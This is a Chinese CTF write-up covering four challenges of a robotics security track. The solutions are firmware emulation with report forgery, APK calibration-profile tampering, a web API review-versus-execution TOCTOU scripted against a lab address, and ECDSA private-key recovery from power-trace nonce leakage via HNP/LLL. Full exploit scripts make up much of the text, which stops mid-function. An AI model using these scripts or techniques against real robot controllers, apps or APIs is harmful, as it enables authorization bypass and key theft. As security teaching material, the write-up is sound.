逆向具身智能安全赛道十道赛题通过固件仿真与侧信道攻击
本文给出强网杯具身智能安全赛道十道题WriteUp,利用Unicorn仿真固件、HNP/LLL格基约简恢复ECDSA私钥及TOCTOU漏洞利用。
Tin-Garden、Borrowed-Horizon、Night-Shift、Quiet-Current、KINEMATIC-V2、Ghost-in-the-Actuator、Hollow Choir、Last-Gesture、Moth Signal、Slow-Sunday
1. Tin-Garden
基础知识
Cortex-M3 是 32 位 ARM 裸机内核:复位时先从向量表取出初始 SP 和 Reset_Handler,再跳进 C 启动代码;UART、定时器、NVRAM、编码器这些外设都通过固定地址的 MMIO 读写。看这种固件,先把 bin 按向量表和 Thumb 指令对齐,分清启动路径、外设轮询和协议解析,再用 Unicorn 之类的模拟器重放 TGR 里的设备访问序列。
TGR 记录本质上是带时间顺序的外设读写轨迹;从里面恢复校准页、熵和编码器值时,要注意字节序、宽度和状态轮询。SHA-256 和 CRC 在这里是完整性校验,不是解密算法;校验通过只说明数据没被改,接下来还要继续看它如何进入维护协议。
题目信息
附件:controller.bin(Cortex-M3 裸机固件,6004 B)、captures/capture_01..04.tgr、runner(Unicorn 2.1.2 脚手架)。

脚手架会解包并校验自带的 unicorn-2.1.2-cp312 wheel;使用 Unicorn 2.1.4 会在协议处理路径上出现指令翻译错误。所以环境需要为 CPython 3.12 + Linux x86_64。
每个 .tgr 文件为:TGR1 + u16 version + u16 count,
随后是 12 字节记录:u32 index、u8 device、u8 op、u8 width、u8 reserved、u32 value。device 1=timer、2=uart、3=encoder、4=nvram;op 1=write、0=read。
从 capture_01 的 NVRAM(page=2, offset=0) 读取 32 字节校准页,从 TIMER_ENTROPY 读取 16 字节启动熵;从 capture_02 的 encoder 读取得 4 个采样。恢复结果为:
#!/usr/bin/env python3
from __future__ import annotations
from collections import namedtuple
from hashlib import sha256
from pathlib import Path
from struct import unpack_from
ROOT = Path(__file__).resolve().parent
Record = namedtuple("Record", "index device op width reserved value")
TIMER, UART, ENCODER, NVRAM = 1, 2, 3, 4
READ, WRITE = 0, 1
CAL_PAGE_SIZE = 32
ENTROPY_SIZE = 16
def read_tgr(path: Path):
data = path.read_bytes()
if data[:4] != b"TGR1":
raise ValueError(f"{path.name}: bad TGR magic")
version, count = unpack_from("<HH", data, 4)
if len(data) != 8 + 12 * count:
raise ValueError(f"{path.name}: truncated TGR ({len(data)} bytes)")
records = [
Record(*unpack_from("<IBBBBI", data, 8 + 12 * i))
for i in range(count)
]
return version, records
def little_endian_words(records) -> bytes:
return b"".join(
record.value.to_bytes(record.width, "little") for record in records
)
def main() -> None:
version, r1 = read_tgr(ROOT / "captures" / "capture_01.tgr")
_, r2 = read_tgr(ROOT / "captures" / "capture_02.tgr")
# capture_01: NVRAM transaction, then TIMER_ENTROPY reads.
nvram_writes = [r for r in r1 if r.device == NVRAM and r.op == WRITE]
nvram_reads = [r for r in r1 if r.device == NVRAM and r.op == READ]
if len(nvram_writes) < 3:
raise ValueError("capture_01: incomplete NVRAM transaction")
page, offset, command = (r.value for r in nvram_writes[:3])
# The first two reads are NVRAM_STATUS polls; the last eight are the page.
status_polls = [r.value for r in nvram_reads[:-8]]
cal = little_endian_words(nvram_reads[-8:])
timer_writes = [r.value for r in r1 if r.device == TIMER and r.op == WRITE]
timer_reads = [r for r in r1 if r.device == TIMER and r.op == READ]
ent = little_endian_words(timer_reads[:4])
# capture_02: every latch/status/angle group yields one encoder sample.
angles: list[int] = []
for i, record in enumerate(r2):
if record.device == ENCODER and record.op == WRITE and record.value == 1:
group = []
for nxt in r2[i + 1:]:
if nxt.device == ENCODER and nxt.op == READ:
group.append(nxt.value)
if len(group) == 2:
angles.append(group[1])
break
assert (page, offset, command) == (2, 0, 1), "unexpected NVRAM setup"
assert len(cal) == CAL_PAGE_SIZE and cal[:4] == b"TGCL", "bad calibration page"
assert len(ent) == ENTROPY_SIZE, "bad entropy length"
assert len(angles) >= 4, "not enough encoder samples"
angles = tuple(angles[:4])
assert all(a in {0x1B2F, 0x1B30, 0x1B31} for a in angles)
assert sum(angles) // len(angles) == 0x1B30
cal_sha = sha256(cal).hexdigest()
ent_sha = sha256(ent).hexdigest()
assert cal_sha.startswith("4105c8bf") and cal_sha.endswith("48006c")
assert ent_sha.startswith("e77d8210") and ent_sha.endswith("98aa53")
print(f"capture_01.tgr : v{version}, {len(r1)} records")
print(f" NVRAM : PAGE={page} OFFSET={offset} CMD={command}")
print(f" STATUS polls : {status_polls}")
print(f" CAL (32 B) : {cal.hex()}")
print(f" SHA256(CAL) : {cal_sha}")
print(f" TIMER writes : {timer_writes}")
print(f" ENT (16 B) : {ent.hex()}")
print(f" SHA256(ENT) : {ent_sha}")
print(f"capture_02.tgr : {len(r2)} records")
print(" ANGLES : " + ", ".join(f"{a:#06x}" for a in angles))
print(f" average : {sum(angles) // len(angles):#06x}")
print(" checks : TGCL=OK, hashes=OK, encoder range=OK")
if __name__ == "__main__":
main()

编码器 4 个值的平均必须为 0x1b30,且每个值必须落在 {0x1b2f,0x1b30,0x1b31};capture_02 给出的序列正好满足。校准页前 6 字节为 TGCL\x01\x31,末尾两字节是前 30 字节的 CRC-16/CCITT。
向量表与启动
SP = 0x20008000
Reset = 0x080006cd (Thumb, 实际入口 0x080006cc)
Timer = 0x08000665
UART = 0x08000689
启动代码:
清零 BSS 0x20000000..0x200002a0;
调 0x08000354;
0x08000354 把 phase 置 1,调用 0x080004b8 读校准页;
读 NVRAM:page=2, offset=0, command=1,轮询 status,读 32 B;
校验 TGCL、版本、CRC、SHA256;
通过 0x08000480 读 4 个编码器值,检查均值/范围;
通过 0x08000400 读 16 B TIMER_ENTROPY;
SHA256 校验熵;
phase=4, result=1,UART 发 'R',进入主循环。
主循环:
启动阶段依次读取校准页、4 个编码器值、16 字节熵,并做 SHA256/范围检查;通过后 phase=4、result=1,UART 发送 'R' 并进入主循环。主循环由 UART IRQ 收字节,0x08000bf4 做帧解析。
主机到控制器的帧:A5 OP LEN PAYLOAD[LEN] CHECK,CHECK = OP ^ LEN ^ payload...;控制器到主机:5A OP STATUS LEN PAYLOAD[LEN] CHECK。维护操作码:
操作码 | 功能 |
|---|---|
0x20 | 设置报告总长度(u8,≤152) |
0x21 | 上传分块:u8 index、u8 size、data[size],size≤48 |
0x22 | 完成上传,调用由 report[80:84] 派生的回调 |
0x31 | 导出最终诊断记录(要求 phase=6、[0x40]=2、[0x44]≠0) |
0x21 写入位置为结构 0x200000f4 + 8 + offset,即上传数据从结构 +8 开始。0x22 读取 report[80:84],与 K0=0x1ee53f34 / K1=0x1ee36f34 比较;随后计算 target = (value - 0x53b248c0) ror 9 ^ 0x32659fa2。取 K1 时 target=0x08000731,即回调 0x08000730。
该回调重新校验校准/熵/编码器,并计算 80 字节 KDF,要求 report[0:80] 与其一致;同时要求 report[84:88]=0x53b248c0。通过后 phase=6、[0x40]=2、[0x44]=1。最终 0x31 调用 0x08001240 校验 16 字节 MAC,解密 30 字节记录到响应 +2。因此 152 字节报告为:
report = bytearray(152)
report[0:80] = derived80 # 0x08001114 的输出
report[80:84] = (0x1EE36F34).to_bytes(4, "little") # 34 6f e3 1e
report[84:88] = (0x53B248C0).to_bytes(4, "little") # c0 48 b2 53
# report[88:152] 任意(0)
EXP 脚本:
#!/usr/bin/env python3.12
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).parent / "runner"))
from tin_garden_runner import PeripheralModel, RehostMachine # noqa: E402
from unicorn import arm_const as arm # noqa: E402
ROOT = Path(__file__).parent
CAL = bytes.fromhex(
"5447434c01310d5abeb3cf7c812af8bd"
"4a1c53a0f49e5a170cb25075557bd91e"
)
ENT = bytes.fromhex("52a4f0ee5e741f7f4de58d64a0d54af2")
ANGLES = (0x1B30, 0x1B31, 0x1B30, 0x1B2F)
def call_derive(machine, avg: int) -> bytes:
"""Call the firmware's 80-byte KDF at 0x08001114 directly."""
uc = machine.uc
out = 0x20000400
uc.mem_write(out, b"\xcc" * 112)
sp = 0x20007000
uc.reg_write(arm.UC_ARM_REG_R0, 0x200000BC) # calibration SHA256
uc.reg_write(arm.UC_ARM_REG_R1, 0x200000DC) # boot entropy
uc.reg_write(arm.UC_ARM_REG_R2, avg) # value, not a pointer
uc.reg_write(arm.UC_ARM_REG_R3, out)
uc.reg_write(arm.UC_ARM_REG_SP, sp)
uc.reg_write(arm.UC_ARM_REG_MSP, sp)
uc.reg_write(arm.UC_ARM_REG_LR, 0x080000B8 | 1)
uc.emu_start(0x08001114 | 1, 0x080000B8, count=2_000_000)
return bytes(uc.mem_read(out, 80))
def frame(op: int, payload: bytes) -> bytes:
body = bytes([op, len(payload)]) + payload
checksum = 0
for b in body:
checksum ^= b
return b"\xa5" + body + bytes([checksum])
def main() -> None:
model = PeripheralModel(
profile_name="captures-01-02",
calibration_page=CAL,
encoder_angles=ANGLES,
boot_entropy=ENT,
)
machine = RehostMachine.from_file(ROOT / "controller.bin", model=model)
if not machine.run_until_ready(max_ticks=5000):
raise SystemExit("firmware did not reach READY")
probe = RehostMachine.from_file(ROOT / "controller.bin", model=model)
if not probe.run_until_ready(max_ticks=5000):
raise SystemExit("probe did not reach READY")
derived = call_derive(probe, 0x1B30)
report = bytearray(152)
report[0:80] = derived
report[80:84] = (0x1EE36F34).to_bytes(4, "little")
report[84:88] = (0x53B248C0).to_bytes(4, "little")
frames = [frame(0x20, bytes([len(report)]))]
for index, offset in enumerate(range(0, len(report), 48)):
chunk = bytes(report[offset:offset + 48])
frames.append(frame(0x21, bytes([index, len(chunk)]) + chunk))
frames.append(frame(0x22, b""))
frames.append(frame(0x31, b""))
start = machine.logical_tick + 2
for i, byte in enumerate(b"".join(frames)):
machine.enqueue_uart(start + i, bytes([byte]))
for _ in range(20000):
machine.advance_ticks(1)
if machine.faulted:
raise SystemExit("firmware faulted")
tx = machine.uart_tx
pos = tx.find(b"\x5a\x31")
if pos >= 0 and len(tx) >= pos + 2 + 2 + 30 + 1:
break
tx = machine.uart_tx
pos = tx.find(b"\x5a\x31")
if pos < 0:
raise SystemExit(f"no diagnostic record: {tx.hex()}")
resp = tx[pos:]
length = resp[3]
payload = resp[4:4 + length]
print("phase:", machine.observable("phase"))
print("response:", resp.hex())
print("record:", payload)
assert payload.startswith(b"flag{") and payload.endswith(b"}")
print("FLAG:", payload.decode())
if __name__ == "__main__":
main()

2. Borrowed-Horizon
基础知识
Android APK 通常由 Java/Kotlin 层做业务编排,native so 负责真正执行;assets 下的 profile、HCAL 和签名文件是数据,不是代码。HCAL 使用定长字段和 CRC32C,anchor 与矩阵描述机器人坐标系,SE(2) 变换 (x, y, theta) 用来把面板坐标映射到机器人坐标。
这类题的突破点经常是 TOCTOU:预览阶段重新计算一套 profile,部署阶段却读取缓存里的另一套 profile。读题时要把“谁校验、校验哪份数据、谁执行、执行时又读哪份数据”分开画出来;签名和 CRC 都只证明某一份数据合法,不能证明审核和执行看到的是同一份数据。
题目信息
附件:borrowed_horizon.apk(含 assets/horizon_case.bin、default.hcal、incident.vlt、recovery_skill.sig、recovery_skill_pub.der,以及 x86_64/arm64 libhorizon_core.so)。
一、App 流程与 TOCTOU
a/w.java 的构造函数解析 horizon_case.bin,验证 recovery_skill.sig(SHA256withRSA)并加载 default.hcal 作为活动 profile。w.e()(Survey preview)用 profile 的三个 anchor 重新计算刚体 SE(2) 矩阵,忽略缓存矩阵;w.b()(Deploy)直接把数据库中的 116 字节缓存 profile(f().g)交给 native executor。
因此可以构造:anchor 保持不变(预览仍重算出安全面板),只修改缓存矩阵指向 root-service 面板,并重算 CRC32C 使 profile 合法。预览通过,实际部署却走攻击者指定的矩阵,正好对应题面的“安全预览通过、实际执行记录不符”。
二、HCAL 格式与 root profile
HCAL 共 116 字节:0x00 HCAL、0x04 revision=1、0x05 flags、0x06 anchor_count=3、0x08 robot_model、0x0c profile_id、0x14 frame_id(8 B)、0x1c 三个 anchor(每个 4×i32)、0x4c 9×i32 matrixQ20、0x70 u32 CRC32C(first 112 B)。default.hcal 的 anchors 为 (0,-240,5700,3420)、(0,0,5460,3420)、(0,240,5220,3420),缓存矩阵指向普通面板 382587924。
horizon_case.bin 中的面板包括普通面板 382587924(type 1,5460,3420,90000)和 type 32 的 root-service 面板 271759106(6480,5080,0)。将缓存矩阵改为以 (6480,5080) mm、yaw 0 为变换,并重算 CRC32C:
def crc32c(data: bytes) -> int:
c = 0xffffffff
for b in data:
c ^= b
for _ in range(8):
c = (0x82f63b78 if c & 1 else 0) ^ (c >> 1)
return (~c) & 0xffffffff
px, py, yaw_mdeg = 6480, 5080, 0
th = math.radians(yaw_mdeg / 1000.0)
c, s, q = math.cos(th), math.sin(th), 1048576
mat = [round(c * q), round(s * q), 0,
round(-s * q), round(c * q), 0,
round(px / 1000.0 * q), round(py / 1000.0 * q), q]
struct.pack_into("<9i", raw, 76, *mat)
struct.pack_into("<I", raw, 112, crc32c(raw[:112]))
三、运行 Android native executor
libhorizon_core.so 是 Android API 28 的 stripped ELF,直接 dlopen 会因 LIBC 版本和缺失 DT_NEEDED 失败。处理方式:把 .gnu.version 全部改为 1;把 DT_VERSYM/DT_VERNEED tag 改为无害的 0x16,DT_VERNEEDNUM 置 0;提供 __sF、__assert2、android_set_abort_message 等 shim;预加载 libm.so.6。
JNI 关键点:native 把 JNIEnv 当“指向函数表指针的指针”,harness 需使用 void* table_ptr=&t; JNIEnv e=(JNIEnv)&table_ptr;;函数表下标 GetArrayLength=171、NewByteArray=176、GetByteArrayElements=183、Release=184、GetByteArrayRegion=200、SetByteArrayRegion=208。x86_64 runCore 位于 base+0x1c010,arm64 为 base+0x1c4c8。
root profile 的运行结果为 status=2(ROOT_SERVICE_COMPLETE)、eligible=1、events=9、panel=271759106,digest 如下:
5c872d91c7433f409b0f64c2fa1956d7
503bb942143d18a387f8f26255646b9c
四、事故报告解密链
incident.vlt 为 BHV1 + 12 B nonce + AES-256-GCM 密文+tag。APK 签名者证书 DER 的 SHA256 为 250e538f...4107084f。BHCS 头为 magic、u16 version、u16 reserved、u32 seed、16 B missionUuid,因此 mission UUID 在 horizon_case.bin[12:28],本样例为 766c3c16...e9f2b329(注意不是 16:32)。
a/w.java 中 c.b.v(a,b) 是字节拼接,不是 HMAC:binding=signer||mission;inner=HMAC-SHA256(binding,digest);context="BorrowedHorizon/incident-report/v1"||0x01;aes_key=HMAC-SHA256(inner,context);AAD="BorrowedHorizon/v1"||mission。最后用 AES-256-GCM 解密 vault[4:16] 的 nonce 与 vault[16:] 的密文。
binding = SIGNER + mission_uuid
inner = hmac.new(binding, digest, hashlib.sha256).digest()
context = b"BorrowedHorizon/incident-report/v1" + b"\x01"
aes_key = hmac.new(inner, context, hashlib.sha256).digest()
aad = b"BorrowedHorizon/v1" + mission_uuid
plain = AESGCM(aes_key).decrypt(vault[4:16], vault[16:], aad)
EXP 脚本:
#!/usr/bin/env python3
import hashlib, hmac, math, struct, subprocess, os, base64
from pathlib import Path
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
WORK = Path(__file__).resolve().parent
ROOT = WORK.parent
SIGNER = bytes.fromhex("250e538f3dd8a9ead13b7928d50c18e246ce14a68645474819888b754107084f")
def crc32c(data: bytes) -> int:
c = 0xffffffff
for b in data:
c ^= b
for _ in range(8):
c = (0x82f63b78 if c & 1 else 0) ^ (c >> 1)
return (~c) & 0xffffffff
raw = bytearray((WORK / "apk/assets/default.hcal").read_bytes())
px, py, yaw_mdeg = 6480, 5080, 0
th = math.radians(yaw_mdeg / 1000.0)
c, s, q = math.cos(th), math.sin(th), 1048576
mat = [round(c*q), round(s*q), 0, round(-s*q), round(c*q), 0,
round(px/1000.0*q), round(py/1000.0*q), q]
struct.pack_into("<9i", raw, 76, *mat)
struct.pack_into("<I", raw, 112, crc32c(raw[:112]))
profile = WORK / "root.hcal"
profile.write_bytes(raw)
env = dict(os.environ)
env["LD_PRELOAD"] = f"{WORK}/libandroidshim.so /usr/lib/libm.so.6"
out = subprocess.check_output(
[str(WORK / "harness2"), str(WORK / "libcore5.so"),
str(WORK / "apk/assets/horizon_case.bin"), str(profile)], env=env)
result = bytes.fromhex(out.decode().strip())
assert result[:4] == b"BHXR" and result[4] == 1
status, eligible, events = result[5], result[6], result[7]
digest = result[12:44]
print("native:", "status", status, "eligible", eligible, "events", events)
print("digest:", digest.hex())
case = (WORK / "apk/assets/horizon_case.bin").read_bytes()
mission_uuid = case[12:28] # BHCS header: seed u32 then 16-byte mission UUID
vault = (WORK / "apk/assets/incident.vlt").read_bytes()
binding = SIGNER + mission_uuid
inner = hmac.new(binding, digest, hashlib.sha256).digest()
context = b"BorrowedHorizon/incident-report/v1" + b"\x01"
aes_key = hmac.new(inner, context, hashlib.sha256).digest()
aad = b"BorrowedHorizon/v1" + mission_uuid
plain = AESGCM(aes_key).decrypt(vault[4:16], vault[16:], aad)
print("flag:", plain.decode())

3. Night-Shift
基础知识
Web/API 题先分清认证、授权和业务状态机。登录后的 session、workspace_id、CSRF token 只是身份上下文,服务端还要校验任务、路线、设备三者之间的权限关系;路线克隆、任务创建、审核、排程和执行是不同阶段。
这道题的关键是 route_revision:任务创建时 pin 一个版本,审核读 approval 绑定的版本,执行时却 snapshot 路线的当前版本。只要审核后还允许改路线,就会出现 approval-execution TOCTOU。分析接口时按“创建/审核/调度/执行”四个阶段列读写对象,比只盯登录接口有效。
目标地址: http://192.168.18.23:8765
登录账号:operator / nightshift-demo

登录后账号身份为“临时维护员”,工作空间为“北区运营中心”,workspace_id 为 north-maintenance。调用 /api/state 可以获取场景、任务、路线、机器人和 CSRF token。
• 受限档案柜 archive:restricted=true,初始库存 1。
• 夜班交接台 handoff:restricted=false,目标交接站点。
• ns-01、ns-02:普通配送设备,allowed=true。
• ns-07:档案专用设备,allowed=false,但属于档案值守工作空间,可执行档案区作业。
• 共享模板“档案移交 · 专用线”:pickup_station=archive,source_workspace=档案值守组。
主要接口如下:
方法 | 路径 | 作用 |
|---|---|---|
POST | /api/login | 登录并获取会话 |
GET | /api/state | 获取场景状态和 CSRF token |
POST | /api/routes//clone | 克隆共享路线 |
PATCH | /api/routes/ | 修改路线,revision 自动递增 |
POST | /api/jobs | 创建任务并锁定 route_revision |
POST | /api/jobs//review | 提交安全审核 |
POST | /api/jobs//dispatch | 排程执行 |
GET | /api/receipts/ | 获取交接回执和奖励 |
POST | /api/reset | 复位场景 |
直接审核受限取件任务会被拒绝
克隆共享档案路线后,使用 ns-07 创建任务,任务可以创建成功;但在提交审核时返回 TRIAL_SCOPE_FORBIDDEN,提示“临时试跑审核不接收受限取件内容”。说明审核阶段会检查取件站点是否属于受限区域。
克隆保留特权来源工作空间
克隆共享档案路线后,source_workspace 仍然保留为“档案值守组”。任务创建阶段的设备授权依据路线来源工作空间,因此临时账号可以用该路线绑定档案机器人 ns-07。
路线来源 | 取件站点 | 机器人 | 创建任务结果 |
|---|---|---|---|
档案值守组(克隆) | archive | ns-07 | 成功 |
档案值守组(克隆) | archive | ns-01 | DEVICE_FORBIDDEN |
北区运营中心(自建) | archive | ns-07 | DEVICE_FORBIDDEN |
北区运营中心(自建) | archive | ns-01 | 成功 |
审核版本与执行版本分离
任务创建时会固定 route_revision。之后修改路线会生成新的 revision,但任务的绑定版本不会自动更新。审核读取任务绑定的 revision;排程执行则快照路线当前 revision。服务端没有强制校验 execution.route_revision 与 approval.route_revision 一致。
阶段 | 路线当前版本 | 任务绑定 | 审核版本 | 执行版本 |
|---|---|---|---|---|
克隆共享路线 | v1 archive | - | - | - |
改为普通取件 | v2 pickup-a | - | - | - |
创建任务 | v2 pickup-a | v2 | - | - |
改回档案取件 | v3 archive | v2 | - | - |
提交审核 | v3 archive | v2 | v2 通过 | - |
排程执行 | v3 archive | v2 | v2 | v3 archive |
审核看到的是 v2 的普通路线,因此通过;执行时使用的是 v3 的档案路线。ns-07 本身具备档案区权限,工作线程满足运行条件,最终成功取件。
EXP 脚本:
#!/usr/bin/env python3
import json
import sys
import time
import requests
BASE = "http://192.168.18.23:8765"
USER = "operator"
PASSWORD = "nightshift-demo"
def login():
s = requests.Session()
r = s.post(f"{BASE}/api/login", json={"username": USER, "password": PASSWORD})
r.raise_for_status()
payload = r.json()
if not payload.get("ok"):
raise RuntimeError(payload)
st = s.get(f"{BASE}/api/state").json()
return s, st
def main():
s, st = login()
csrf = st["csrf_token"]
headers = {"X-CSRF-Token": csrf}
archive = next(x for x in st["scene"]["stations"] if x["id"] == "archive")
print(f"[*] scene={st['scene']['id']} archive_inventory={archive['inventory']}")
if archive["inventory"] < 1:
print("[*] archive empty -> resetting scenario")
r = s.post(f"{BASE}/api/reset", json={}, headers=headers)
r.raise_for_status()
if not r.json().get("ok"):
raise RuntimeError(r.json())
time.sleep(1)
s, st = login()
csrf = st["csrf_token"]
headers = {"X-CSRF-Token": csrf}
archive = next(x for x in st["scene"]["stations"] if x["id"] == "archive")
print(f"[*] scene={st['scene']['id']} archive_inventory={archive['inventory']}")
if archive["inventory"] < 1:
raise RuntimeError("archive still empty after reset")
template = next(
r for r in st["routes"]
if r.get("shared") and r.get("pickup_station") == "archive"
)
print(f"[*] shared archive template: {template['id']} ({template['name']})")
r = s.post(f"{BASE}/api/routes/{template['id']}/clone", json={}, headers=headers)
r.raise_for_status()
clone = r.json()["data"]
rid = clone["id"]
print(f"[+] cloned route {rid}: revision={clone['revision']} "
f"pickup={clone['pickup_station']} source={clone['source_workspace']}")
benign = {
"name": "wp-benign",
"description": "benign revision for review",
"pickup_station": "pickup-a",
"dropoff_station": "handoff",
"waypoints": [],
}
r = s.patch(f"{BASE}/api/routes/{rid}", json=benign, headers=headers)
r.raise_for_status()
patched = r.json()["data"]
print(f"[+] patched benign: revision={patched['revision']} "
f"pickup={patched['pickup_station']}")
if patched["revision"] != 2:
raise RuntimeError(f"expected revision 2, got {patched['revision']}")
job_body = {
"name": "wp-job",
"route_id": rid,
"robot_id": "ns-07",
"priority": "normal",
"notes": "",
}
r = s.post(f"{BASE}/api/jobs", json=job_body, headers=headers)
r.raise_for_status()
job = r.json()["data"]
jid = job["id"]
print(f"[+] job {jid}: pinned route_revision={job['route_revision']} "
f"robot={job['robot_id']}")
if job["route_revision"] != 2:
raise RuntimeError("job did not pin revision 2")
restricted = {
"name": "wp-archive",
"description": "restricted revision to be executed",
"pickup_station": "archive",
"dropoff_station": "handoff",
"waypoints": [],
}
r = s.patch(f"{BASE}/api/routes/{rid}", json=restricted, headers=headers)
r.raise_for_status()
patched = r.json()["data"]
print(f"[+] patched back: revision={patched['revision']} "
f"pickup={patched['pickup_station']}")
if patched["revision"] != 3:
raise RuntimeError(f"expected revision 3, got {patched['revision']}")
r = s.post(f"{BASE}/api/jobs/{jid}/review", json={}, headers=headers)
r.raise_for_status()
review = r.json()["data"]
approval = review["approval"]
print(f"[+] reviewed: approval.route_revision={approval['route_revision']} "
f"digest={approval['digest'][:16]}...")
if approval["route_revision"] != 2:
raise RuntimeError("review did not pin revision 2")
r = s.post(f"{BASE}/api/jobs/{jid}/dispatch", json={}, headers=headers)
r.raise_for_status()
dispatch = r.json()["data"]
execution = dispatch["execution"]
print(f"[+] dispatched: execution={execution}")
if execution["pickup_station"] != "archive" or execution["route_revision"] != 3:
raise RuntimeError("execution did not snapshot restricted v3")
for _ in range(60):
st = s.get(f"{BASE}/api/state").json()
current = next(j for j in st["jobs"] if j["id"] == jid)
print(f" status={current['status']:<9} progress={current['progress']:>3}% "
f"stage={current['stage']}")
if current["status"] == "failed":
raise RuntimeError(f"job failed: {current['stage']}")
if current["status"] == "completed" and current["receipt_id"]:
receipt_id = current["receipt_id"]
break
time.sleep(1)
else:
raise RuntimeError("timeout waiting for receipt")
r = s.get(f"{BASE}/api/receipts/{receipt_id}")
r.raise_for_status()
receipt = r.json()
print("[+] receipt:", json.dumps(receipt, ensure_ascii=False, indent=2))
flag = receipt.get("reward", {}).get("flag")
print(f"[+] FLAG = {flag}")
return flag
if __name__ == "__main__":
main()

4. Quiet-Current
基础知识
ECDSA 的安全性依赖每次签名的 nonce k 不可预测;如果多个签名泄露了部分 nonce 位,就能把签名方程转成隐藏数问题(HNP),再用格基约简(LLL)恢复私钥。这是“侧信道 + 密码分析”的典型组合,不是单纯读一次电流就能出私钥。
物理层还要处理 trace 与签名的对应、时钟漂移和幅度校准。本题先还原会话状态历史,再把 4MHz 电流采样对齐到签名记录,恢复 7 bit nonce 前缀;最后用 ECDH + HKDF + AES-GCM 解封维护回执,AEAD 认证成功可以作为整条链的强验证。
题目类型:Crypto 分值:200 环境:离线附件
附件:quiet_current.zip → channel.cbor、capture.json、did.json、sealed_flag.bin、FORMAT.md、profiling_traces.npz、calibration_traces.npz、target_traces.npz
一、题目分析
题目背景是停电演练之后,两台室内服务机器人的应急供能日志互相矛盾。导出包中保留了四类材料:① channel.cbor 中的 256 条已签名候选记录;② capture.json 中的 8 个通道会话、计量/位置回执以及 trace 与记录的绑定关系;③ 4 MHz 的控制器电流采样(profiling/calibration/target);④ 用 ECDH 封装的维护回执 sealed_flag.bin。目标是从这些材料中还原真实状态历史,恢复控制身份的 secp256k1 签名私钥,并打开维护回执。
FORMAT.md 给出了关键格式:每条记录使用 64 字节大端 r||s 的 ECDSA 签名,曲线为 secp256k1,签名消息是 SHA-256("quiet-current/state/v1\0" || deterministic_cbor(record_without_signature));记录摘要是完整记录(含签名)的 canonical CBOR 的 SHA-256。候选历史必须从全零 previous_digest 开始,按摘要链接和连续序号推进,逐条应用能量转移,时间严格递增,并满足 abs(pose_delta) * minimum_cell_travel_ms <= elapsed_ms。
因此不能把题目当成“单条签名验签”:候选池是无序的,必须先利用摘要链、SOC、时间和回执把 8 条各 8 条记录的历史选出来。之后 trace 的电流波形泄露了 ECDSA nonce 的高 7 位,配合 64 条签名做 HNP/LLL 就能恢复私钥。整体链路如下:
• 从 channel.cbor + capture.json 还原 8 条唯一状态历史;
• 用 capture_records 把每条 target trace 唯一绑定到一条已选记录,取得签名 (r,s) 与消息哈希 e;
• 对电流 trace 做公共突发对齐,用 profiling 模板解码出 window0/window1 的观测码字;
• 用 calibration pilot 学习每个 batch 的 GF(2) 仿射物理映射,反解出 7 bit nonce 前缀;
• 把 64 条 ECDSA 方程送入 HNP 格,经 LLL 恢复私钥,并用 did.json 公钥校验;
• 用 ECDH + HKDF-SHA256 + AES-256-GCM 解封 sealed_flag.bin。
二、解题过程
2.1 还原 8 条状态历史
channel.cbor 共有 8 个 channel,每个 channel 有 32 条候选记录;每个 session 需要选出 8 条记录,序号为 1 到 8。摘要链从 32 字节全零开始,previous_digest 必须等于上一条完整记录的摘要。除摘要外,还要同时检查:monotonic_ms 严格递增;每个记录应用 energy_mwh 后发送端 SOC 减少、接收端 SOC 增加;位姿单元变化速率不超过 minimum_cell_travel_ms 限制。
最后一层再检查 session 级约束:meter receipt 在 (start_ms, end_ms] 内的能量和必须等于回执值;waypoint receipt 在闭区间内必须恰好命中一次且 pose_cell 相同;终态 SOC、pose_cell 以及时间窗口也必须一致。把 (channel, sequence) 作为分层,在 DFS 中一路剪枝,8 个 session 都只有唯一解。
def digest(r):
return sha256(cbor2.dumps(r, canonical=True)).hexdigest()
def walk(seq, prev_digest, prev_t, prev_pose, ssoc, rsoc, path):
if seq > len(seqs):
last = path[-1]
if (last["sender_soc_mwh"], last["receiver_soc_mwh"]) != (fs, fr):
return
if last["pose_cell"] != fpose:
return
if not (earliest <= last["monotonic_ms"] <= latest):
return
if not check_meter_and_waypoint_receipts(path):
return
sols.append(list(path))
return
for r in seqmap[seq]:
if r["previous_digest"] != prev_digest:
continue
if r["monotonic_ms"] <= prev_t:
continue
if abs(r["pose_cell"] - prev_pose) * mts > r["monotonic_ms"] - prev_t:
continue
if (r["sender_soc_mwh"] != ssoc - r["energy_mwh"]
or r["receiver_soc_mwh"] != rsoc + r["energy_mwh"]):
continue
path.append(r)
walk(seq + 1, bytes.fromhex(digest(r)), r["monotonic_ms"],
r["pose_cell"], r["sender_soc_mwh"], r["receiver_soc_mwh"], path)
path.pop()
实际脚本还会在末层验证 meter 能量的区间求和、waypoint 的唯一命中以及终态时间范围。完成 8 个 session 后共得到 64 条真实记录。
2.2 trace 与签名记录绑定
capture_records 有 64 项,每项包含一个 trace_id 和 4 个候选记录摘要。用已选出的 64 条记录摘要集合与每个候选列表求交,交集恰好为 1,于是 trace_id 唯一映射到真实记录。真实记录同时提供 64 字节签名 signature 和消息哈希 e,为后续 HNP 准备 64 个 ECDSA 方程。
这一步也解释了为什么“先验签”不是主路径:签名数据本身没有直接给出 nonce,必须把 trace 与记录正确绑定,才能把电流观测和对应的签名方程配对。
2.3 电流轨迹对齐与模板解码
三个 NPZ 都按 allow_pickle=False 读取。profiling_traces.npz 有 512 行,覆盖 16 个 window0 × 8 个 window1 组合,每个组合 4 次采集;calibration_traces.npz 有 160 行,等于 8 个 target batch × 20 条,带已知标签;target_traces.npz 有 64 行,batch ID 和 trace ID 都是不透明的。采样率为 4 MHz,每条 trace 有 2048 个采样点。
签名器的真实混合窗口调度是 [4, 3, 4×62, 1]:前两个可见 lookup 分别是 4 bit 的 window0 和 3 bit 的 window1,因此 trace 泄露的是 nonce 的连续 7 bit 前缀。batch ID 与行顺序没有布局含义,必须按 batch 分组处理。
对齐分两步。先对全部 profiling trace 在 [200:1900] 上做整体互相关,迭代 3 次;再选取与类别无关的公共突发区域 [(60,600),(760,1120),(1250,2000)] 做第二次锁定。解码前用 41 点移动平均高通,去掉电流漂移。对每个候选模板,在窗口内搜索小范围 lag 和最小二乘幅度缩放,取残差最小的类别。window0 的判决窗口为 [615:735],window1 为 [1115:1245]。profiling 的 4 次重复先按标签平均,得到 16 个 window0 模板和 8 个 window1 模板。
def decode_canon(x, templates, lo, hi, maxlag=6):
